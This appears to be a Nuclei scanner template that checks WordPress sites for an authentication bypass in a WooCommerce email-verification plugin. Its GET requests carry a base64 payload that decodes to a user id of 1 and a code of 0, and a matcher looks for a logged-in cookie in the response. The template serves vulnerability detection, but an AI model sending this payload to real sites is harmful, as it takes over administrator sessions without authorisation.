nuclei-templates/vulnerabilities/wordpress/wp-woocommerce-email-verifi...

28 lines
737 B
YAML

id: wp-woocommerce-email-verification
info:
name: WooCommerce < 1.8.2 - Loose Comparison to Authentication Bypass
author: random_robbie
severity: critical
reference: https://wpvulndb.com/vulnerabilities/10318
tags: wordpress,wp-plugin,woocommerce
requests:
- method: GET
path:
- "{{BaseURL}}/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0="
- "{{BaseURL}}/blog/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0="
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: header
regex:
- "wordpress_logged_in_[a-z0-9]{32}"
- type: dsl
dsl:
- 'status_code != 401'
- 'status_code != 403'
condition: or